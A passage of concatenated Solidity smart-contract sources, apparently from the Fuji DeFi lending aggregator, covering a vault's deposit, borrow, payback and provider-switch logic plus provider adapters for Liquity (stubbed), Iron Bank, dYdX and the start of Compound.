// Collateral Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, "");
emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount);
}
/**
* @dev Withdraws Vault's type collateral from activeProvider
* call Controller checkrates
* @param _withdrawAmount: amount of collateral to withdraw
* otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors)
* Emits a {Withdraw} event.
*/
function withdraw(int256 _withdrawAmount) public override nonReentrant {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
// Get User Collateral in this Vault
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Check User has collateral
require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID),
true
);
uint256 amountToWithdraw =
_withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount);
// Check Withdrawal amount, and that it will not fall undercollaterized.
require(
amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral,
Errors.VL_INVALID_WITHDRAW_AMOUNT
);
// Collateral Management before Withdraw Operation
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw);
// Delegate Call Withdraw to current provider
_withdraw(amountToWithdraw, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw);
emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw);
} else {
// Logic used when called by Fliquidator
_withdraw(uint256(_withdrawAmount), address(activeProvider));
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount));
}
}
/**
* @dev Borrows Vault's type underlying amount from activeProvider
* @param _borrowAmount: token amount of underlying to borrow
* Emits a {Borrow} event.
*/
function borrow(uint256 _borrowAmount) public override nonReentrant {
updateF1155Balances();
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
_borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)),
true
);
// Check Provided Collateral is not Zero, and greater than needed to maintain healthy position
require(
_borrowAmount != 0 && providedCollateral > neededCollateral,
Errors.VL_INVALID_BORROW_AMOUNT
);
// Debt Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, "");
// Delegate Call Borrow to current provider
_borrow(_borrowAmount, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount);
emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount);
}
/**
* @dev Paybacks Vault's type underlying to activeProvider
* @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount
* Emits a {Repay} event.
*/
function payback(int256 _repayAmount) public payable override {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID);
// Check User Debt is greater than Zero and amount is not Zero
require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// If passed argument amount is negative do MAX
uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount);
// Check User Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer Asset from User to Vault
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback);
// Delegate Call Payback to current provider
_payback(amountToPayback, address(activeProvider));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Debt Management
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback);
emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance);
} else {
// Logic used when called by Fliquidator
_payback(uint256(_repayAmount), address(activeProvider));
}
}
/**
* @dev Changes Vault debt and collateral to newProvider, called by Flasher
* @param _newProvider new provider's address
* @param _flashLoanAmount amount of flashloan underlying to repay Flashloan
* Emits a {Switch} event.
*/
function executeSwitch(
address _newProvider,
uint256 _flashLoanAmount,
uint256 _fee
) external override onlyFlash whenNotPaused {
// Compute Ratio of transfer before payback
uint256 ratio =
_flashLoanAmount.mul(1e18).div(
IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)
);
// Payback current provider
_payback(_flashLoanAmount, activeProvider);
// Withdraw collateral proportional ratio from current provider
uint256 collateraltoMove =
IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18);
_withdraw(collateraltoMove, activeProvider);
// Deposit to the new provider
_deposit(collateraltoMove, _newProvider);
// Borrow from the new provider, borrowBalance + premium
_borrow(_flashLoanAmount.add(_fee), _newProvider);
// return borrowed amount to Flasher
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(_fee));
emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove);
}
//Setter, change state functions
/**
* @dev Sets a new active provider for the Vault
* @param _provider: fuji address of the new provider
* Emits a {SetActiveProvider} event.
*/
function setActiveProvider(address _provider) external override isAuthorized {
activeProvider = _provider;
emit SetActiveProvider(_provider);
}
//Administrative functions
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it.
* @param _fujiERC1155: fuji ERC1155 address
*/
function setFujiERC1155(address _fujiERC1155) external isAuthorized {
fujiERC1155 = _fujiERC1155;
vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.collateralToken,
address(this)
);
vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.debtToken,
address(this)
);
}
/**
* @dev Set Factors "a" and "b" for a Struct Factor
* For safetyF; Sets Safety Factor of Vault, should be > 1, a/b
* For collatF; Sets Collateral Factor of Vault, should be > 1, a/b
* @param _newFactorA: Nominator
* @param _newFactorB: Denominator
* @param _isSafety: safetyF or collatF
*/
function setFactor(
uint64 _newFactorA,
uint64 _newFactorB,
bool _isSafety
) external isAuthorized {
if (_isSafety) {
safetyF.a = _newFactorA;
safetyF.b = _newFactorB;
} else {
collatF.a = _newFactorA;
collatF.b = _newFactorB;
}
}
/**
* @dev Sets the Oracle address (Must Comply with AggregatorV3Interface)
* @param _oracle: new Oracle address
*/
function setOracle(address _oracle) external isAuthorized {
oracle = AggregatorV3Interface(_oracle);
}
/**
* @dev Set providers to the Vault
* @param _providers: new providers' addresses
*/
function setProviders(address[] calldata _providers) external isAuthorized {
providers = _providers;
}
/**
* @dev External Function to call updateState in F1155
*/
function updateF1155Balances() public override {
uint256 borrowBals;
uint256 depositBals;
// take into balances across all providers
uint256 length = providers.length;
for (uint256 i = 0; i < length; i++) {
borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset));
}
for (uint256 i = 0; i < length; i++) {
depositBals = depositBals.add(
IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset)
);
}
IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals);
IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals);
}
//Getter Functions
/**
* @dev Returns an array of the Vault's providers
*/
function getProviders() external view override returns (address[] memory) {
return providers;
}
/**
* @dev Returns an amount to be paid as bonus for liquidation
* @param _amount: Vault underlying type intended to be liquidated
* @param _flash: Flash or classic type of liquidation, bonus differs
*/
function getLiquidationBonusFor(uint256 _amount, bool _flash)
external
view
override
returns (uint256)
{
if (_flash) {
// Bonus Factors for Flash Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL();
return _amount.mul(a).div(b);
} else {
//Bonus Factors for Normal Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusLiq();
return _amount.mul(a).div(b);
}
}
/**
* @dev Returns the amount of collateral needed, including or not safety factors
* @param _amount: Vault underlying type intended to be borrowed
* @param _withFactors: Inidicate if computation should include safety_Factors
*/
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
public
view
override
returns (uint256)
{
// Get price of DAI in ETH
(, int256 latestPrice, , , ) = oracle.latestRoundData();
uint256 minimumReq = (_amount.mul(uint256(latestPrice))).div(_BASE);
if (_withFactors) {
return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b);
} else {
return minimumReq;
}
}
/**
* @dev Returns the borrow balance of the Vault's underlying at a particular provider
* @param _provider: address of a provider
*/
function borrowBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset);
}
/**
* @dev Returns the deposit balance of the Vault's type collateral at a particular provider
* @param _provider: address of a provider
*/
function depositBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getDepositBalance(vAssets.collateralAsset);
}
/**
* @dev Harvests the Rewards from baseLayer Protocols
* @param _farmProtocolNum: number per VaultHarvester Contract for specific farm
*/
function harvestRewards(uint256 _farmProtocolNum) external onlyOwner {
address tokenReturned =
IVaultHarvester(_fujiAdmin.getVaultHarvester()).collectRewards(_farmProtocolNum);
uint256 tokenBal = IERC20(tokenReturned).balanceOf(address(this));
require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED);
IERC20(tokenReturned).uniTransfer(payable(_fujiAdmin.getTreasury()), tokenBal);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.8.0;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface LQTYInterface {}
contract LQTYHelpers {
function _initializeTrouve() internal {
//TODO function
}
}
contract ProviderLQTY is IProvider, LQTYHelpers {
using SafeMath for uint256;
using UniERC20 for IERC20;
function deposit(address collateralAsset, uint256 collateralAmount) external payable override {
collateralAsset;
collateralAmount;
//TODO
}
function borrow(address borrowAsset, uint256 borrowAmount) external payable override {
borrowAsset;
borrowAmount;
//TODO
}
function withdraw(address collateralAsset, uint256 collateralAmount) external payable override {
collateralAsset;
collateralAmount;
//TODO
}
function payback(address borrowAsset, uint256 borrowAmount) external payable override {
borrowAsset;
borrowAmount;
//TODO
}
function getBorrowRateFor(address asset) external view override returns (uint256) {
asset;
//TODO
return 0;
}
function getBorrowBalance(address _asset) external view override returns (uint256) {
_asset;
//TODO
return 0;
}
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
_asset;
_who;
//TODO
return 0;
}
function getDepositBalance(address _asset) external view override returns (uint256) {
_asset;
//TODO
return 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface IGenCyToken is IERC20 {
function redeem(uint256) external returns (uint256);
function redeemUnderlying(uint256) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function borrowRatePerBlock() external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function totalBorrowsCurrent() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account) external view returns (uint256);
function getCash() external view returns (uint256);
}
interface IWeth is IERC20 {
function deposit() external payable;
function withdraw(uint256 wad) external;
}
interface ICyErc20 is IGenCyToken {
function mint(uint256) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);
}
interface IComptroller {
function markets(address) external returns (bool, uint256);
function enterMarkets(address[] calldata) external returns (uint256[] memory);
function exitMarket(address cyTokenAddress) external returns (uint256);
function getAccountLiquidity(address)
external
view
returns (
uint256,
uint256,
uint256
);
}
interface IFujiMappings {
function addressMapping(address) external view returns (address);
}
contract HelperFunct {
function _isETH(address token) internal pure returns (bool) {
return (token == address(0) || token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE));
}
function _getMappingAddr() internal pure returns (address) {
return 0x17525aFdb24D24ABfF18108E7319b93012f3AD24;
}
function _getComptrollerAddress() internal pure returns (address) {
return 0xAB1c342C7bf5Ec5F02ADEA1c2270670bCa144CbB;
}
//IronBank functions
/**
* @dev Approves vault's assets as collateral for IronBank Protocol.
* @param _cyTokenAddress: asset type to be approved as collateral.
*/
function _enterCollatMarket(address _cyTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
address[] memory cyTokenMarkets = new address[](1);
cyTokenMarkets[0] = _cyTokenAddress;
comptroller.enterMarkets(cyTokenMarkets);
}
/**
* @dev Removes vault's assets as collateral for IronBank Protocol.
* @param _cyTokenAddress: asset type to be removed as collateral.
*/
function _exitCollatMarket(address _cyTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
comptroller.exitMarket(_cyTokenAddress);
}
}
contract ProviderIronBank is IProvider, HelperFunct {
using SafeMath for uint256;
using UniERC20 for IERC20;
//Provider Core Functions
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Enter and/or ensure collateral market is enacted
_enterCollatMarket(cyTokenAddr);
if (_isETH(_asset)) {
// Transform ETH to WETH
IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).deposit{ value: _amount }();
_asset = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
}
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the cyToken contract
ICyErc20 cyToken = ICyErc20(cyTokenAddr);
//Checks, Vault balance of ERC20 to make deposit
require(erc20token.balanceOf(address(this)) >= _amount, "Not enough Balance");
//Approve to move ERC20tokens
erc20token.uniApprove(address(cyTokenAddr), _amount);
// IronBank Protocol mints cyTokens, trhow error if not
require(cyToken.mint(_amount) == 0, "Deposit-failed");
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset: token address to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cyToken contract
IGenCyToken cyToken = IGenCyToken(cyTokenAddr);
//IronBank Protocol Redeem Process, throw errow if not.
require(cyToken.redeemUnderlying(_amount) == 0, "Withdraw-failed");
if (_isETH(_asset)) {
// Transform ETH to WETH
IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).withdraw(_amount);
}
}
/**
* @dev Borrow ETH/ERC20_Token.
* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cyToken contract
IGenCyToken cyToken = IGenCyToken(cyTokenAddr);
//Enter and/or ensure collateral market is enacted
//_enterCollatMarket(cyTokenAddr);
//IronBank Protocol Borrow Process, throw errow if not.
require(cyToken.borrow(_amount) == 0, "borrow-failed");
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
if (_isETH(_asset)) {
// Transform ETH to WETH
IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).deposit{ value: _amount }();
_asset = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
}
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the corresponding cyToken contract
ICyErc20 cyToken = ICyErc20(cyTokenAddr);
// Check there is enough balance to pay
require(erc20token.balanceOf(address(this)) >= _amount, "Not-enough-token");
erc20token.uniApprove(address(cyTokenAddr), _amount);
cyToken.repayBorrow(_amount);
}
/**
* @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27).
* @param _asset: token address to query the current borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Block Rate transformed for common mantissa for Fuji in ray (1e27), Note: IronBank uses base 1e18
uint256 bRateperBlock = (IGenCyToken(cyTokenAddr).borrowRatePerBlock()).mul(10**9);
// The approximate number of blocks per year that is assumed by the IronBank interest rate model
uint256 blocksperYear = 2102400;
return bRateperBlock.mul(blocksperYear);
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCyToken(cyTokenAddr).borrowBalanceStored(msg.sender);
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* This function is the accurate way to get IronBank borrow balance.
* It costs ~84K gas and is not a view function.
* @param _asset token address to query the balance.
* @param _who address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCyToken(cyTokenAddr).borrowBalanceCurrent(_who);
}
/**
* @dev Returns the deposit balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
uint256 cyTokenBal = IGenCyToken(cyTokenAddr).balanceOf(msg.sender);
uint256 exRate = IGenCyToken(cyTokenAddr).exchangeRateStored();
return exRate.mul(cyTokenBal).div(1e18);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface IWethERC20 is IERC20 {
function deposit() external payable;
function withdraw(uint256) external;
}
interface SoloMarginContract {
struct Info {
address owner;
uint256 number;
}
struct Price {
uint256 value;
}
struct Value {
uint256 value;
}
struct Rate {
uint256 value;
}
enum ActionType { Deposit, Withdraw, Transfer, Buy, Sell, Trade, Liquidate, Vaporize, Call }
enum AssetDenomination { Wei, Par }
enum AssetReference { Delta, Target }
struct AssetAmount {
bool sign;
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
struct Wei {
bool sign;
uint256 value;
}
function operate(Info[] calldata _accounts, ActionArgs[] calldata _actions) external;
function getAccountWei(Info calldata _account, uint256 _marketId)
external
view
returns (Wei memory);
function getNumMarkets() external view returns (uint256);
function getMarketTokenAddress(uint256 _marketId) external view returns (address);
function getAccountValues(Info memory _account)
external
view
returns (Value memory, Value memory);
function getMarketInterestRate(uint256 _marketId) external view returns (Rate memory);
}
contract HelperFunct {
/**
* @dev get Dydx Solo Address
*/
function getDydxAddress() public pure returns (address addr) {
addr = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
}
/**
* @dev get WETH address
*/
function getWETHAddr() public pure returns (address weth) {
weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
}
/**
* @dev Return ethereum address
*/
function _getEthAddr() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address
}
/**
* @dev Get Dydx Market ID from token Address
*/
function _getMarketId(SoloMarginContract _solo, address _token)
internal
view
returns (uint256 _marketId)
{
uint256 markets = _solo.getNumMarkets();
address token = _token == _getEthAddr() ? getWETHAddr() : _token;
bool check = false;
for (uint256 i = 0; i < markets; i++) {
if (token == _solo.getMarketTokenAddress(i)) {
_marketId = i;
check = true;
break;
}
}
require(check, "DYDX Market doesnt exist!");
}
/**
* @dev Get Dydx Acccount arg
*/
function _getAccountArgs() internal view returns (SoloMarginContract.Info[] memory) {
SoloMarginContract.Info[] memory accounts = new SoloMarginContract.Info[](1);
accounts[0] = (SoloMarginContract.Info(address(this), 0));
return accounts;
}
/**
* @dev Get Dydx Actions args.
*/
function _getActionsArgs(
uint256 _marketId,
uint256 _amt,
bool _sign
) internal view returns (SoloMarginContract.ActionArgs[] memory) {
SoloMarginContract.ActionArgs[] memory actions = new SoloMarginContract.ActionArgs[](1);
SoloMarginContract.AssetAmount memory amount =
SoloMarginContract.AssetAmount(
_sign,
SoloMarginContract.AssetDenomination.Wei,
SoloMarginContract.AssetReference.Delta,
_amt
);
bytes memory empty;
SoloMarginContract.ActionType action =
_sign ? SoloMarginContract.ActionType.Deposit : SoloMarginContract.ActionType.Withdraw;
actions[0] = SoloMarginContract.ActionArgs(
action,
0,
amount,
_marketId,
0,
address(this),
0,
empty
);
return actions;
}
}
contract ProviderDYDX is IProvider, HelperFunct {
using SafeMath for uint256;
using UniERC20 for IERC20;
bool public donothing = true;
//Provider Core Functions
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.deposit{ value: _amount }();
tweth.approve(getDydxAddress(), _amount);
} else {
IWethERC20 tweth = IWethERC20(_asset);
tweth.approve(getDydxAddress(), _amount);
}
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, true));
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset: token address to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, false));
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.approve(address(tweth), _amount);
tweth.withdraw(_amount);
}
}
/**
* @dev Borrow ETH/ERC20_Token.
* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, false));
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.approve(address(_asset), _amount);
tweth.withdraw(_amount);
}
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.deposit{ value: _amount }();
tweth.approve(getDydxAddress(), _amount);
} else {
IWethERC20 tweth = IWethERC20(_asset);
tweth.approve(getDydxAddress(), _amount);
}
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, true));
}
/**
* @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27).
* @param _asset: token address to query the current borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Rate memory _rate = dydxContract.getMarketInterestRate(marketId);
return (_rate.value).mul(1e9).mul(365 days);
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Info memory account =
SoloMarginContract.Info({ owner: msg.sender, number: 0 });
SoloMarginContract.Wei memory structbalance = dydxContract.getAccountWei(account, marketId);
return structbalance.value;
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
* @param _who: address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Info memory account = SoloMarginContract.Info({ owner: _who, number: 0 });
SoloMarginContract.Wei memory structbalance = dydxContract.getAccountWei(account, marketId);
return structbalance.value;
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Info memory account =
SoloMarginContract.Info({ owner: msg.sender, number: 0 });
SoloMarginContract.Wei memory structbalance = dydxContract.getAccountWei(account, marketId);
return structbalance.value;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface IGenCToken is IERC20 {
function redeem(uint256) external returns (uint256);
function redeemUnderlying(uint256) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function borrowRatePerBlock() external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function totalBorrowsCurrent() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account) external view returns (uint256);
function getCash() external view returns (uint256);
}
interface ICErc20 is IGenCToken {
function mint(uint256) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);
}
interface ICEth is IGenCToken {
function mint() external payable;
function repayBorrow() external payable;
function repayBorrowBehalf(address borrower) external payable;
}
interface IComptroller {
function markets(address) external returns (bool, uint256);
function enterMarkets(address[] calldata) external returns (uint256[] memory);
function exitMarket(address cTokenAddress) external returns (uint256);
function getAccountLiquidity(address)
external
view
returns (
uint256,
uint256,
uint256
);
}
interface IFujiMappings {
function addressMapping(address) external view returns (address);
}
contract HelperFunct {
function _isETH(address token) internal pure returns (bool) {
return (token == address(0) || token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE));
}
function _getMappingAddr() internal pure returns (address) {
return 0x6b09443595BFb8F91eA837c7CB4Fe1255782093b;
}
function _getComptrollerAddress() internal pure returns (address) {
return 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
}
//Compound functions
/**
* @dev Approves vault's assets as collateral for Compound Protocol.
* @param _cTokenAddress: asset type to be approved as collateral.
*/
function _enterCollatMarket(address _cTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
address[] memory cTokenMarkets = new address[](1);
cTokenMarkets[0] = _cTokenAddress;
comptroller.enterMarkets(cTokenMarkets);
}
/**
* @dev Removes vault's assets as collateral for Compound Protocol.
* @param _cTokenAddress: asset type to be removed as collateral.
*/
